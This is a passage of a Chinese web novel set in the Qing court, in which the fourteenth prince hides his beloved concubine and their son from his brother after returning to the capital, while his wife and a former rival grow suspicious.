她也没有傻到以为胤禵只有她一个女人,因为她有时候跟那些官妇闲聊时,她们有提起过皇子身边有不少侍妾,妻妾成群,说胤禵身边只有她一个,可见胤禵多么爱她。
那些人恐怕不知道胤禵在京城也有很多侍妾,乌锦知道自己是侍妾,不是嫡福晋,只是这七年,胤禵身边只有她一个人,也只有弘春一个孩子,给她一定的错觉,直到回到京城后,她才意识到胤禵真正的后院不只有她一个女人。
胤禵一眼看懂乌锦的眼神,跟她说回到府里,他再跟她解释。
“恭迎主子爷、吴姐姐。”福晋完颜氏带着身后的那些姐妹行礼,“主子爷,府里已经收拾好了,吴姐姐跟弘春阿哥的房间也收拾出来了。”
“都起来吧,进去吧,别站着了。”
他们一群人进府,府里的奴才帮忙卸行李。
胤禵是回到府里后才松一口气,没人见到乌锦的容貌,他建府的时候是直接将乌锦的房间安置在前院,跟他一块住,回到前院后,他示意福晋她们可以回她们的院子,不用在前院杵着,该做什么做什么。
胤禵拉着乌锦回他们的房间。
“这面纱,我可以摘下来了吗?”
胤禵亲自帮乌锦把面纱拿下来,解释道:“那些人都是皇阿玛跟母妃分到我这边的,我没碰过她们,你也不用管她们。”
“谁知道你呢,你说没碰过就没碰过,反正我也没法查证。”
“我发誓真的没有,你相信我。”
乌锦把他的手拿下来,“好啦,我相信你,我就住这里吗?”
乌锦开始打量房间,这房间比他们在镇北关那边的房间要小一些,不过房间内的布置看起来也精致不少。
“这是我们的房间,弘春的房间在对面,你跟我一起住,我跟你说过的,京城规矩众多,你不可随意出府,你想出去的时候必须先跟我说,只能是我带你出去,你不可单独出府。”
乌锦听着皱眉,不满道:“我都不能自由出府吗?”
“不可以。”
“那我们还不如回镇北关,在京城也太不自在了吧,早知道我就不跟你回京城了。”
胤禵亲她,哄道:“别说傻话,我不能让你一个人留在镇北关,只是不能一个人随意出府,你真想去什么地方,我可以带你去,别生气,以后你想要去任何地方,我都可以带你去。”
“阿玛,额娘……”弘春跑进来。
他们才分开,乌锦擦了擦唇边,有些不好意思。
“我饿了。”弘春拉了拉乌锦的袖子。
胤禵便立即让人去膳房弄些吃的过来。
前院的奴才基本上都是在镇北关那边伺候他们的奴才,胤禵比较信得过,像贾有财洪巍他们又是从宫里出来的,一直伺候他,哪怕是刚回来,他们也有条不紊地忙活,尽快将行李重新规整好。
回来第一天,胤禵哪也没去,到傍晚时,他才带着乌锦跟弘春跟福晋她们一块用膳,第一次家宴。
胤禵让她们好好相处,在后院里别多生事端。
弘春直接在桌上问这些人都是谁,乌锦让他吃饭,别多话,弘春有些委屈,不过也没有再问。
吃完饭后,胤禵才把弘春带着书房,单独跟他说话,他之前没怎么跟弘春说过京城的人跟事,弘春是他的长子,以后他的爵位也是要让他继承,他得让他有所了解,说不定过不久,他要去上书房那边上课,见他那些堂哥堂弟。
还有府里的那些女人,他也得告诉他,她们的身份,这里毕竟不是在镇北关,他跟弘春说了许久,弘春都困了,他才让他回房间。
“你都跟弘春说什么了?”
“跟他说一下府里的人跟事,还有京城的人跟事。”
乌锦睁大眼睛看他:“你只跟他说,不跟我说吗?我跟他一样不知道这些人跟事。”
“我今晚慢慢跟你说,我先去洗澡。”
夜深了,胤禵跟乌锦躺在一张床上,他先跟乌锦说了一下福晋等人的家世,再说一说宫里的人跟事,他没细说他的那些哥哥,反正乌锦知道他上面有不少哥哥。
他还在说的时候,偏头一看,乌锦不知道什么时候已经睡着了,他无奈轻笑,其实只要四哥见不到乌锦,应该就不会出事,以后只要乌锦出府,他就让乌锦戴上面纱。
他拥着她,心中还是有些不安。
二哥被废,已无复起的可能,如今朝中显然已经分了几个阵营,他不想卷入其中,只想跟乌锦好好过日子,只是回到京城后,很难独善其身。
第二天,胤禵往宫里递帖子,想着先觐见皇阿玛,进宫之前,他去完颜氏的院子,跟完颜氏交代府里的事,她身为福晋,这后院里的大小事务还是交给她
掌管,但弘春跟乌锦他们就不用她管。
过几日,他会带着她跟弘春进宫给母妃请安,她是福晋,也是弘春名义上的额娘。
“那吴姐姐去吗?”完颜氏问了一句。
“她不用,她……出身低微,往后进宫都不用带她,也不要让她见外人。”
“妾身知道了。”
胤禵跟完颜氏说完后才离开正院。
皇阿玛是在他回来第五天才召他进宫,说他这几年辛苦了,也没有给他安排别的差事,他知道如今朝堂中上面那些哥哥已经替皇阿玛分忧,恐怕没有他的事,除非起战事,皇阿玛才可能让他去带兵打战,不然他在京城可能是闲着的。
闲着也好,胤禵也没有跟皇阿玛要差事做,在第七天,他带着完颜氏跟弘春进宫给额娘请安,额娘第一次见到弘春,给弘春赏了不少东西,也问起弘春的额娘。
他说弘春的额娘出身低微,不懂规矩,不适合进宫,不过是一侍妾,额娘见与不见没有区别。
额娘说他子嗣少,只有弘春一个,让他多绵延子嗣,既然回京了,可以让其他人侍寝,她希望今年就能听到好消息。
胤禵说他知道了,敷衍过去,请安结束后,他带着完颜氏跟弘春离宫。
他跟弘春坐在马车上,,弘春问他什么时候可以出去玩,他想去骑马。
胤禵叹口气,说再过几天。
“阿玛,我们能不能回家,我不喜欢这里,这里没什么好玩的。”
胤禵只好正色道:“这里也是你的家,我们不回去镇北关了,你也是阿玛的儿子,也是阿哥,我们以后会一直待在京城,你想骑马的话,阿玛会带你去,你以后会发现这里有很多好玩的,等你熟悉了,你就知道了。”
“额娘也一起,我们带额娘出去玩,我在府里都快无聊死了。”
胤禵顿了顿,然后才说好,似想到什么:“以后不许说死字。”
“为什么?”
“不吉利。”
“哦,那我不说了。”
胤禵摸了摸弘春的脑袋,弘春靠在他怀里,胤禵另一只手搂着他的肩膀,面有愁绪。
第98章第98章新文《康熙家的德妃又作又茶……
大哥他们说要为他接风洗尘,胤禵终于抽空跟他们聚在酒楼,他被大哥他们围着灌酒,他这几年都是沾酒,喝个几杯就不喝了,没喝醉过。
哥哥们灌他酒,他也不能严词拒绝,只好半推半就地喝了,自己好几年没有这样放肆喝过,感觉没喝多少就有点醉意,他怕自己真的喝蒙过去胡言乱语,就闭上眼睛假装晕过去。
“这十四,才喝几杯就这样了,以前多能喝,这几年反而越来越不胜酒力了,成,既然十四喝醉了,我们也散了吧,老四,你送胤禵回府。”
胤禵听到大哥说话,很快有人把他搀扶起来,应该是四哥,他被扶着坐到马车上时才睁开眼睛,一睁眼就见到四哥正坐着看他。
“醒了?”
“四哥,我没醉。”
“看出来了。”
胤禵稍微坐正身子,虽然没喝醉,但此时酒劲上来,他脑袋也有点昏沉,一时不知要跟四哥说些什么。
“我还没见过弘春,什么时候你把弘春带来我府上,让他跟弘晖他们一起玩。”
胤禵说道:“四哥,弘春回京后正觉得闷呢,这小子在镇北关那边成天东奔西跑,刚回来总拘着他,他正不高兴呢,不如你带上弘晖他们,我们一起去城外骑马怎么样?”
“也好,让十三把弘昌他们也带上,你回来后可想过要去哪里当差?”
胤禵摇摇头:“四哥,你知道我向来闲散惯了,什么户部礼部那些地方规矩众多,并不适合我,我不想在京中当差,要是皇阿玛让我回去镇北关就好了。”
“你也不能一辈子待在那地方。”
“我知道,不过四哥,我才刚回京,没想那么长远的事,皇阿玛让我做什么就做什么。”
四哥嗯了一声,胤禵头靠在车厢内,有些反胃,一直到府邸前时,他才下马车吐了出来。
“我扶你进去吧。”
胤禵赶忙拒绝道:“四哥,这些奴才扶我进去就行,四哥你回去吧,别耽搁你的时辰,四哥,我先进去了。”
胤禵被奴才们搀着进府,四哥没有跟着进来,他才松一口气,他回到前院后,乌锦出来迎他。
“十四,你怎么了?”
他说喝多了,乌锦忙让人去煮醒酒汤,胤禵喝了醒酒汤后又吐了一回,人才昏昏沉沉躺在床上,让乌锦上来陪他躺下。
“十四,下次你别喝那么多了。”
胤禵也不记得自己应了什么,到后面就睡着了,等他醒来时,外面已经天黑,他醒来时还是觉得不舒服,屋内也不见乌锦。
“来人啊。”
“主子爷……”
进来的人是青茉,胤禵问她她主子人呢。
“去小阿哥房间陪小阿哥玩了。”
胤禵在青茉的服侍下随便套了外衣,直接过去找乌锦,见乌锦跟弘春正蹲在地上逗弘春先前在镇北关那边买的八哥。
“好啦,不早了,额娘也要睡了,你乖乖上床睡觉,它也吃饱了,别再给它喂吃的,小心撑着肚子。”
弘春见到他,笑着喊了一声阿玛。
“时辰不早了,怎么不睡觉?”
“飞飞刚刚在说话,我叫额娘过来听,阿玛,你好些了吗?额娘说你不舒服。”
胤禵看着关心自己的儿子,过去摸了摸他的头,说自己好多了,他让奶娘哄弘春睡觉,他若是不睡的话,他过几日就不会带他出去骑马。
“我睡我睡,额娘,你也回去睡吧,我一个人在这里就行,你去陪阿玛。”弘春小手推他们出去,就怕他阿玛不带他出去骑马。
胤禵牵着乌锦的手回他们的房间。
“十四,我让他们一直热着粥,你要是饿的话就喝碗粥,你身上还有酒味,你既然醒了就先去沐浴吧。”
乌锦闻不得酒味,这也是胤禵这几年不怎么喝酒的缘故,一喝酒就被她嫌弃,他故意倚在她身上,问道:“我身上有味道吗?”
“臭味。”
“哪臭?弘春那小子有时候一身泥巴,你都不嫌他脏他臭,怎么到我一点酒味就嫌我臭?”
“弘春又不跟我睡在同一张床。”
胤禵想想也对,他白天还吐了两回,还是认命地过去沐浴,洗完澡后他喝了两碗热粥才觉得胃舒服许多。
他见乌锦已经宽衣躺床上睡觉,他示意那些奴才出去,烛灯没有熄,他也跟着上床,不停地亲她。
乌锦只是摸了摸他的头,没有回亲他,她困得眼皮耷拉下来,没有心思搭理他。
“过几日我带弘春去城外骑马。”
“嗯。”乌锦敷衍应道。
胤禵就是跟她说一声,见她也没有要跟去的意思,他在心里松一口气,他方才睡过了,很是精神,没有任何睡意,他从头亲到尾,等他结束时,乌锦已经睡着了,他只好自己帮她简单擦拭。
……
翌日一早,乌锦早起说要去给福晋请安,胤禵拦住她,说她不用早起给福晋请安。
“不用吗?”
“不用,以后都不用早起去请安,你想睡到几时就睡到几时,我们府上没有这些规矩。”
胤禵见乌锦瞥了瞥青茉,他跟着睨了青茉一眼,应该是青茉告诉乌锦要去给福晋请安,乌锦脑子里应该没有这些规矩,福晋虽然是福晋,但乌锦不需要向这府上任何人卑躬屈膝,包括他在内。
“那好,那我再睡一会。”乌锦就很自在地再躺下来,其实乌锦也是前几日听胤禵说了京中规矩众多,比如出门要戴面纱,不可抛头露面,听青茉说侍妾要给福晋请安,她才想着去请安的,既然十四说不用,她就放下心补觉。
青茉知道自己的主子脑子里没有这些规矩,这里不是镇北关,十四阿哥身边不是只有主子一个,在这府上,侍妾肯定比福晋地位低,主子刚到府上,她也是怕福晋觉得主子没有规矩,往后为难主子,她才想着提醒一二,没想到还出错了,被十四阿哥眼神凌厉地看一眼后,她低下头。
好在十四阿哥没有罚她,她意识到这府里还是十四阿哥说了算,身份更尊贵,而十四阿哥几乎是将主子捧在掌心里怕化了,是在十四阿哥这,福晋肯定比不上主子,所以主子可以不用守那些规矩。
显然福晋完颜氏也明白这一点,对于吴侍妾过来请安几次后又不过来了,也没有过多质问,只是十四阿哥只让吴侍妾侍寝,迟迟不跟她圆房,她才生出一点不满,她隐晦地跟十四阿哥提起这一点,十四阿哥没有表示,依旧只让吴侍妾侍寝,对十四阿哥而言,他已经有长子弘春了。
完颜氏心急也没有用,十四阿哥根本没把她放在眼里,他眼里只有吴侍妾一个人,没有其他人,在十四阿哥这行不通,她只好过来找吴侍妾。
今日十四阿哥带弘春去城外骑马,完颜氏进来时见到吴侍妾跟丫鬟她们在屋内做针
线活,丫鬟给她倒茶。
“吴姐姐,这阵子你在府里可还习惯?有没有缺什么?”
“挺好的,什么都不缺。”
完颜氏暗道吴侍妾基本上是住在前院,跟十四阿哥同吃同住,自然什么都不缺,她一个侍妾比她这个嫡福晋还像福晋,她看向吴侍妾,吴侍妾容貌极其出色,不过能看出来吴侍妾有一些年纪了,不是十五六岁的小姑娘,眼角有一些细纹。
“吴姐姐,不瞒你说,十四阿哥回京后除了姐姐,没有宠幸其他姐妹,这后院的姐妹颇有怨言。”
“十四只喜欢我。”
完颜氏一愣,没想到吴侍妾这么直白地说出来,只是她看吴侍妾又不似在炫耀,她眼神透着一股纯真跟无辜,她竟一时梗住,不知要怎么说下去。
“这个我知道,十四阿哥只喜欢姐姐,只是十四阿哥不是姐姐一个人的,姐姐不能独占十四阿哥,后院其它姐妹也想侍寝,德妃娘娘说了十四阿哥子嗣稀少,只有弘春一个阿哥,让我们多替十四阿哥绵延子嗣,十四阿哥若是只待在姐姐房中,不去其他姐妹那里,娘娘恐怕要责怪我们,看姐姐的年纪,估计以后很难再有生孕,这府上不能只有弘春一个孩子,还望姐姐劝劝十四阿哥,多让其他姐妹侍寝,好让其他姐妹为十四阿哥开枝散叶,姐姐,你觉得呢?”
“我没拦着十四不让他去别人那里。”
“是,我知道姐姐没拦着,但姐姐说了十四阿哥只喜欢你,所以你帮着劝一下,让他召别人侍寝。”
“好,我知道了。”
完颜氏这才放心离开。
福晋一走,青茉就跟乌锦说不用把福晋的话放在心上,十四阿哥想让谁侍寝就让侍寝,这是她们管不了的。
“嗯,我听青茉的。”
青茉知道自家主子跟正常人还是有点不一样的,先前伤着脑袋,虽然几年过去,主子看起来跟正常人已经没什么区别,但她贴身伺候主子,基本上一整天都跟主子待在一块,还是看得出来的,主子有时候就是很天真,脑子不像别人有那么多曲曲绕绕。
福晋过来跟主子说这些话,无非就是在十四阿哥那里碰壁了,劝不了十四阿哥,就想让主子劝十四阿哥。
……
另一边的胤禵正带着弘春骑马,弘春从小骑马,已经驾轻就熟,四哥的弘晖十五岁了,骑术都比不上弘春。
四哥跟十三他们都称赞弘春很厉害,胤禵生出几分自豪感。
“阿玛,下次我们带额娘出来玩好不好?额娘也喜欢骑马。”
一听这话,胤禵下意识地看了看前面的四哥,还好四哥离得有点远,应该没听到弘春的话。
“好,下次我们再带你额娘出来玩。”
“我得摘几朵花回去给额娘。”
“到前面再摘。”
到前面停下时,弘春去摘花,要是只有他们两父子两人去骑马或是去野外,弘春都会给他额娘摘花,弄成一束送给他额娘,这是乌锦教他的。
“十四,我听说弘春的额娘十分貌美,是真的吗?”
胤祥跟他说话,胤禵假装不在意地回道:“不过是一普通女子而已。”
“我听说东北那边的女子生得高大,我看六岁的弘春已经跟十岁的弘时差不多高了。”
胤禵说弘春自己吃得多的缘故,他额娘并不高。
弘春摘完花笑着跑回来,他已经将那些野花用藤草绑好了,花束快跟他小脸一样大。
“阿玛,你看,额娘肯定喜欢我摘的花。”
胤禛目光落在弘春脸上,应该是落在弘春的眼睛上,有些失神,弘春的眼睛又大又圆又亮,眼珠很黑,跟乌锦的眼睛很像,有那么一刹那,他仿佛见到乌锦,连笑起来的弧度都很像。
“好啦,时辰不早了,该回去了,快上马吧。”胤禵说道。
弘春拿着花束很利落地上马,那动作又漂亮又敏捷,十四这个儿子的性子跟十四很像,十分好动
恣意,弘晖跟弘时两个哥哥反倒不如弘春胆大,出门在外,弘春还惦记着他额娘,可见母子两关系不错。
胤禛很快收回目光。
在天黑前,一群人返回城内。
弘春到府里后就拿着花蹦着去找他额娘,将花束献给他额娘。
“哇,好漂亮的花。”
“是我摘的,阿玛说了下次我们一起去玩,额娘也一起。”
乌锦亲了亲弘春的小脸,让他先去洗手,她将那束花放进花瓶里面,直接放在炕几上,等弘春洗完手,换了一身干净的衣服后,她才问他今日见到谁了。
“有四伯伯,十三伯伯,弘晖哥哥,弘时哥哥,弘昌哥哥,额娘,弘晖哥哥他们骑马不如我,我比他们厉害,”弘春一脸骄傲,小脸扬起,“我跟弘时哥哥说我有一只会说话的小鸟,他还不相信。”
“那你可以把飞飞带过去给他看。”
弘春点头,说他明天就把飞飞带过去。
胤禵在一旁插话道:“弘时明日要去上书房那边读书,你也得过去上书房那边读书,这样你才可以见到他们。”
弘春小脸立即垮下来,一脸不想去上学的样子。
回京也快一个月了,弘春还每天都在玩,乌锦觉得他的确该去上学了。
“十四,再过几天就让他上学,京城的教书先生应该比镇北关那边的厉害,也该收收心了,不能一直玩。”
胤禵点点头,该学习的时候还是要学习的,他安慰地摸了摸弘春的脑袋。
到了用晚膳的时辰,他们坐下来用膳。
乌锦没提起白天福晋过来的事,也没让十四去别人那里,一切如旧。
……
眨眼间到了六月初,京城连下好几天雨,阴雨连绵,远处的天空仿佛一幅水墨画,乌云笼罩,弘春夜里着凉,病了。
乌锦这几天忙着照顾弘春,弘春前几日已经去上书房那边上课,因为生病,他没去,太医开了药。
汤药太苦,弘春虽然不想喝,但被她逼着喝了,他蔫蔫地躺在床上。
“额娘,我喉咙不舒服。”
“额娘知道,你喉咙发热,里面有痰,等一下你喝一点枇杷膏,枇杷膏是甜的。”
乌锦正跟弘春说话时,前院的洪巍把福晋跟四福晋拦在外面,四福晋听闻小阿哥生病,过来探望,十四阿哥不在,洪巍跟在十四阿哥已经十几年,十三岁就在十四阿哥身边伺候了,他是知道乌锦的身份的。
四福晋要是见到乌夫人,那还得了,他只能把人拦在外面,不让四福晋进去。
“洪公公,你怎么回事?我们想进去看看弘春阿哥也不行吗?”完颜氏怒道,这个洪巍是吃了熊心豹子胆了,连她们都拦,连通传一声都不愿意去,硬生生把她们拦在外面,在场还有四福晋这个外人在呢,她一个福晋连一个奴才都使唤不动,她气不打一处来。
“福晋,弘春阿哥病得厉害,奴才也是怕把弘春阿哥把病气过给你们才不让你们进院子,这是十四阿哥的吩咐,还请福晋见谅。”
“病得厉害?不是说弘春只是一般的风寒感冒吗?怎么就突然间病得厉害了?”完颜氏昨天才来看过弘春,并不觉得弘春病得厉害,这个死太监怎么满口谎言,她忍不住怒瞪着洪巍。
“是今早起来发现病得厉害,十四阿哥也怕小阿哥把病传给别人,才下令说不让外人探望小阿哥,小心为上,小阿哥的症状有点像几年前的疫病。”
完颜氏一听像疫病,也倒抽一口气,这疫病可不是开玩笑的,是会传染人的,当年发生疫情时,她可是经历过的,京城死了不少人,他们都不敢外出。
“洪公公,你说的是真的?”
“只是像,未必是疫病,十四阿哥让小心为上,不是奴才故意拦住福晋。”
“姐姐,既然这样,你过去我那院吧。”完颜氏对着四福晋说道。
“行。”乌喇那拉氏点点头,跟着完颜氏去她的院子。
乌锦是在她们离开后从弘春的房间出来,见洪公公把前院的门关上,问了一句为何要关
门。
“夫人,是风大,吹得门响,奴才怕吵到小阿哥歇息。”
乌锦嗯了一声,然后回去她的房间,她并不知道洪巍刚才把人拒之门外的事,这几天连着下雨,屋内也有些发潮,她觉得味道不好闻,让青茉开窗透气,她咳嗽两声。
“主子,你是不是也着凉了?今天有点冷,你披上披风吧。”青茉边开窗边叮嘱道。
乌锦也觉得有点凉,她披上披风。
“主子,你要不要睡一觉?”
“那好,我睡一觉,你半个时辰后叫醒我,记得让膳房的人煎药。”
“放心吧,奴婢心里有数。”
乌锦这才回床上躺着,这几日照顾弘春,她也有点疲惫,她很快睡着,等她醒的时候,十四已经回来了,她一醒觉得自己鼻子有点透不过气。
“十四,我会不会也着凉了?”
“我让大夫给你看看,我摸摸额头。”胤禵摸了摸乌锦额头,觉得是有点烫,应该跟弘春一样着凉了,他让人先去煮一碗姜汤。
“好啦,弘春那边有人照顾,你就好好待在床上,哪也别去,把窗关了,风大。”
“不行,闷闷的不好闻,开着吧,我多穿一件衣服。”
乌锦跟胤禵正说着话,弘春就跑进来,提着鸟笼。
“阿玛,你看飞飞又说话了。”
胤禵忍不住说一句:“弘春,你不可以这样直接闯进来,这是阿玛跟额娘的房间,你要进来时要先经过我们的同意才行。”
弘春嘴立即撅起来,有些委屈。
“好啦,孩子还在生病,你别在这个时候训孩子,弘春,过来。”
弘春又笑着跑到床边,变脸比什么都快,把鸟笼提到乌锦面前,“额娘,你看我让飞飞说话,飞飞,你叫一声。”
弘春小手指戳了戳飞飞,飞飞只是抖一下翅膀,没有要叫的意思。
“飞飞。”弘春手指再戳一下,飞飞在笼子里飞了一下,叫了一声,这不算会说话,只能算是鸟受惊叫了一下。
乌锦没有扫兴,拍手称赞道:“飞飞真的会说话了,它真聪明,跟弘春一样聪明。”
“飞飞哪有我聪明,它是一只笨鸟,额娘,你不许夸它,只能夸我。”
乌锦只好说她以后只夸他。
“弘春,你额娘也生病了。”胤禵在一旁说了一句。
弘春小脸一皱,将鸟笼放在床上,爬上床,小手放在乌锦额头上,又摸自己的额头,样子疑惑:“我摸不出来哪个更热。”
乌锦轻笑,抱住弘春,亲他的脸:“额娘没事,别听你阿玛胡说。”
“额娘千万别生病,生病要喝很苦的药,我不希望额娘喝很苦的药。”
“我还以为你要额娘跟你一起喝很苦的药呢,要不我们让阿玛陪你喝好不好?”
母子两一起看向胤禵,胤禵挑眉说道:“我又没有生病,谁生病谁喝药,你呀,就知道联合儿子整我。”
“哪有,弘春,你自己说你要不要阿玛陪你喝药?”
弘春先看看阿玛,又看看额娘,然后点点头。
“你就知道向着你额娘,胳膊肘往外拐。”胤禵过去捏了捏自己儿子胖乎乎的肉脸,“信不信我以后不带你出去玩了。”
“阿玛才不会。”
胤禵觉得自己是被他们母子两拿捏得死死的,一个两个都不怕他,有恃无恐。
等弘春的汤药端上来,他还是陪弘春喝了两口,也盯着乌锦让她喝掉姜汤,哪怕现在还没有生病的症状也要预防万一,也让大夫过来给乌锦看诊,大夫说没有大碍,他才放心。
弘春只是临近换季,加上下雨阴凉才生病发烧,连着几天喝退烧药,他已经好很多了,不过小孩子生病不能轻视,胤禵还是让大夫每日过来给弘春看诊,同时他也隔绝外人探望弘春。
他发现乌锦与弘春跟他同住在前院也有一点不好,就像四嫂若是过来探望弘春时,不可避免地跟乌锦碰上。
有时候他那些哥哥过来前院找他时,也有可能会撞见乌锦。
当时思虑不周,胤禵很快决定将乌锦跟弘春挪到后院一处独院,独院小,且离前院很远,后院不比前院,他那些哥哥不会直接闯进后院。
弘春有点不高兴,说院子变小了。
胤禵跟他说他可以随时去前院,不用经过他同意,他才开心地笑了笑。
过了半个月,弘春的病终于好了,倒是乌锦过了病气,开始有些咳嗽,好在不是什么大病,并没有发烧。
到了七月,母子两的病都好了,他松一口气,京城也进入炎热的夏季,胤禵现在隔几天要过去骁骑营那边训练兵将,皇阿玛给他差事。
第99章第99章新文《康熙家的德妃又作又茶……
回京两个月,母子两痊愈,胤禵才带乌锦跟弘春一块出门,没去骑马,而是去延信的庄园,先前乌锦住过的地方。
庄园里的瓜果在夏日成熟,弘春可以边摘边吃,胤禵还是不敢冒险,庄园比较封闭,他又让提前让延信把看守庄园的奴才先清出去,只剩下他们的人。
乌锦还记得这个地方,跟弘春两个人在庄园里跑得满头汗,玩得很开心,自己摘的瓜果吃起来也很甜,他们在庄园这边一直玩到申时才离开。
回程的路上,马车回到内城,经过热闹的市集时,弘春见到路边的摊贩卖糖葫芦,非要下车买糖葫芦。
胤禵只好让他们母子下马车,不过乌锦戴着面纱,他想应该不会有人瞧见面纱下的乌锦长什么样子。
“额娘一串,阿玛一串,青茉姐姐一串,青莉姐姐一串,蔡妈妈一串……”
弘春一边嘀咕一边数糖葫芦串,乌锦直接拿了十串,让青茉付银子,一串给弘春,她自己也拿了一串,下意识就撩起面纱咬一口糖葫芦,然后带着弘春上马车。
多兰从娘家那边返回富察时,坐在马车上的她一直看着外面,她见到一戴着面纱的女子,本来没太留意,当那名女子撩起面纱吃糖葫芦,她见到对方的侧脸,觉得很熟悉。
“停车停车。”多兰让车夫停车,她回头看那女子上的那辆马车,车身挂着皇字的令牌,应该是皇室中人。
那女子太像乌锦了,只是乌锦在七年前已经死了,四阿哥因为乌锦的死还消沉好几年,死去的人怎么会又活过来。
多兰知道自己没有看错,那人真的很像乌锦,她只看到侧脸,没看到那人脸上有没有疤,没多想,她就让车夫转头跟上那女子上的那辆马车。
因为那辆马车车身外挂着皇字令牌,普通老百姓会避让,她坐的马车不敢跟太近,在前面那辆马车最后停在一府邸大门前时,她也示意车夫停车。
她见到那女子牵着一五六岁的小孩进府,身后还跟着一男子,她不敢靠太近,距离太远,她没看清男子的样貌,反正肯定不是四阿哥。
她让人下去打听打听这府邸是谁的住处,等人打听回来时说是十四阿哥的府邸,她还有点诧异,她听说十四阿哥远在边关,他是什么时候回京的。
自从出嫁后,她的消息滞
后,哥哥也很少跟她提及朝堂上的事,以前额娘还会跟她说一说京城里发生的事,只是额娘三年前病逝,她的丈夫伯柱官职不高,能探听到的事都是小事,对皇家的事知晓不多。
那人究竟是不是乌锦,怎么会有那么相像的两个人?看上去那女子是十四阿哥的侍妾,她是见过十四福晋完颜氏的,知道那女子肯定不是十四福晋。
多兰觉得乌锦不可能死而复生,更不会成了十四阿哥的侍妾,应该是她看错了。
只是连着几日,多兰还在想着这事,当初她听闻乌锦的死讯时,她没有难过,她不喜欢乌锦,尤其是自己的日子过得不如乌锦时,她对乌锦的怨恨就多了几分,总觉得乌锦偷走原本属于她的人生,后来乌锦死了,她才放下怨恨。
她实在停不下来想这事,于是又回娘家一趟,找到她哥哥,问乌锦当初是怎么死的。
“你问这个干什么?”
“哥,你就告诉我,乌锦她是真的死了吗?”
雅尔江阿皱眉,人都死了,自家妹妹怎么还揪着乌锦不放,他没好气道:“多兰,人都死了,你们两有什么恩怨情仇都该放下了。”
“哥,你就老实告诉我,当初乌锦是怎么死的,可有尸体,有人亲眼见到乌锦的尸体吗?”
雅尔江阿对自家妹妹的逼问,也细想一下,据他所知,乌锦是在四阿哥等人遇刺时被那些刺客杀死的,不过还真的不见尸体,因为当时是在塞外,地广人稀,遍是丛林,听说四阿哥找了许久都没找到乌锦的尸体。
“是没找到尸体,不过人肯定是死了的,听说乌锦的尸体被那些野兽吃进肚子才没有找到。”
“哥,你说人能死而复生吗?”
雅尔江阿不耐烦道:“你在胡说什么,好端端的怎么提起乌锦,什么死而复生,你是不是又跟伯柱吵架了?”
多兰每次跟伯柱吵架都会跑回娘家,要伯柱哄回去,他已经不想掺和他们夫妻间的事。
多兰听到乌锦死的时候没找到尸体,越发肯定那日她在街上见到的人是乌锦,世间不可能有两个一模一样的人。
“哥,你跟我讲讲十四阿哥的事,我前几日在街上见到十四阿哥了,他是从边关那边回来了吗?”
雅尔江阿可没有什么闲心跟妹妹讲八卦,他还有很多事情要忙,他挥挥手将多兰赶出书房,让她去找她嫂子。
多兰想想也对,这种后院里的事,嫂子更了解,她又过去找她嫂子,果然她嫂子知道的比较多。
十四阿哥只有一个六岁的儿子,听说是跟在边关那边的农户女所生,农户女长相十分出色才赢得十四阿哥的心。
“嫂子,那农户女几岁了?”
瓜尔佳.芷安摇摇头说这个她就不知道了,她还没见过那农户女。
“嫂子,十四阿哥既然刚回京,不如我们往十四阿哥府里递个帖子,送些礼物过去,我听哥哥说十四阿哥此次回来就不会再回边关了,不管怎么样,我们要主动示好,跟十四阿哥他们打好关系对我们简王府也是好事。”
瓜尔佳.芷安犹豫,她跟四福晋关系颇好,那是因为四阿哥跟王爷走得很近,她常被四福晋邀去府上坐坐,喝喝茶看看戏,她跟十四福晋反而不怎么熟悉,十四福晋年纪尚小,跟她差十几岁,两人聊不到一块,她身为内眷,递帖子也是递给十四福晋。
若是王爷有吩咐,让她跟十四福晋她们多往来,她肯定会照做,只是王爷没这个吩咐,自家小姑子的话,她得掂量掂量。
“这个……我得先问问你大哥,十四阿哥他们毕竟刚回京城,我们贸然拜访也不大好,过几日再看看。”
“那嫂子,你去上门拜访的时候记得叫上我。”
瓜尔佳.芷安点点头。
多兰这才满意地离开。
……
另一边的十四福晋完颜氏正在去宫里的路上,她原以为十四阿哥回京后,他们夫妻两的相处模式能有改变,至少自己能侍寝,但没想到两个月过去,十四阿哥还是只让吴侍妾侍寝,基本上只夜宿在吴侍妾那。
原先以为十四阿哥让吴侍妾挪院,是因为十四阿哥不喜欢吴侍妾了,吴侍妾失宠,没想到不是那么一回事,十四阿哥还是一如既往地宠着吴侍妾,眼里只有吴侍妾一人。
她进宫去见德妃娘娘,她管不了十四阿哥,娘娘总可以吧,她此次进宫是为了告状。
到了顺贞门后,她们主仆几个被娘娘宫里的宫女领去永和宫。
娘娘见到她果不其然提及十四阿哥子嗣的事,完颜氏便跟娘娘说了十四阿哥只让吴侍妾侍寝一事。
“娘娘,并非儿媳跟后院那些姐妹不愿意为主子爷绵延子嗣,是十四阿哥根本不让我们侍寝,不瞒娘娘,自从成亲以来,十四阿哥从未碰过我,我仍然是完璧之身。”
说到这,完颜氏就开始落泪,啜泣起来,先前她不敢说,一来十四阿哥远在边关,二来她身为儿媳,明白十四阿哥才是娘娘的亲儿子,她要是在娘娘面前说十四阿哥的不是,娘娘可能反过来觉得她不懂事,只是几年过去了,她不能一直等下去。
德妃也有点讶异:“你说的可是真的?”
“儿媳不敢说谎,没有半句虚言。”
“这个吴侍妾是什么人,长相如何,会不会是她勾的胤禵?”
完颜氏抬头道:“娘娘,吴侍妾她生得貌美,不过她年纪大了,比主子爷年长五六岁,她是十四阿哥从边关那边带回来的,听说已经无父无母,因为主子爷宠着她,又生了弘春阿哥,她连儿媳都不放在眼里。”
“岂有此理,她一个侍妾还能骑到你头上不成?你明日就将她带进宫,本宫倒要看看她怎么勾的胤禵,胤禵只有弘春一子,宫中早有闲言碎语,你早该跟本宫说出实情的,这几年,你也受委屈了,明日本宫要敲打敲打她,你把她带到宫里来。”
完颜氏点头道:“娘娘,儿媳明日便与吴侍妾同来。”
“嗯,去吧,明日带她过来。”
临走前,娘娘给她不少赏赐,有安慰她之意,完颜氏回去的路上,想着若是告诉十四阿哥,娘娘要见吴侍妾,十四阿哥未必会让吴侍妾进宫,十四阿哥护得紧,不仅十四阿哥护得紧,吴侍妾身边那些奴才还有前院那些奴才都护吴侍妾护得很紧。
所以要带吴侍妾进宫还得绕过十四阿哥跟那些奴才。
完颜氏在车厢内想着要怎么带吴侍妾进宫。
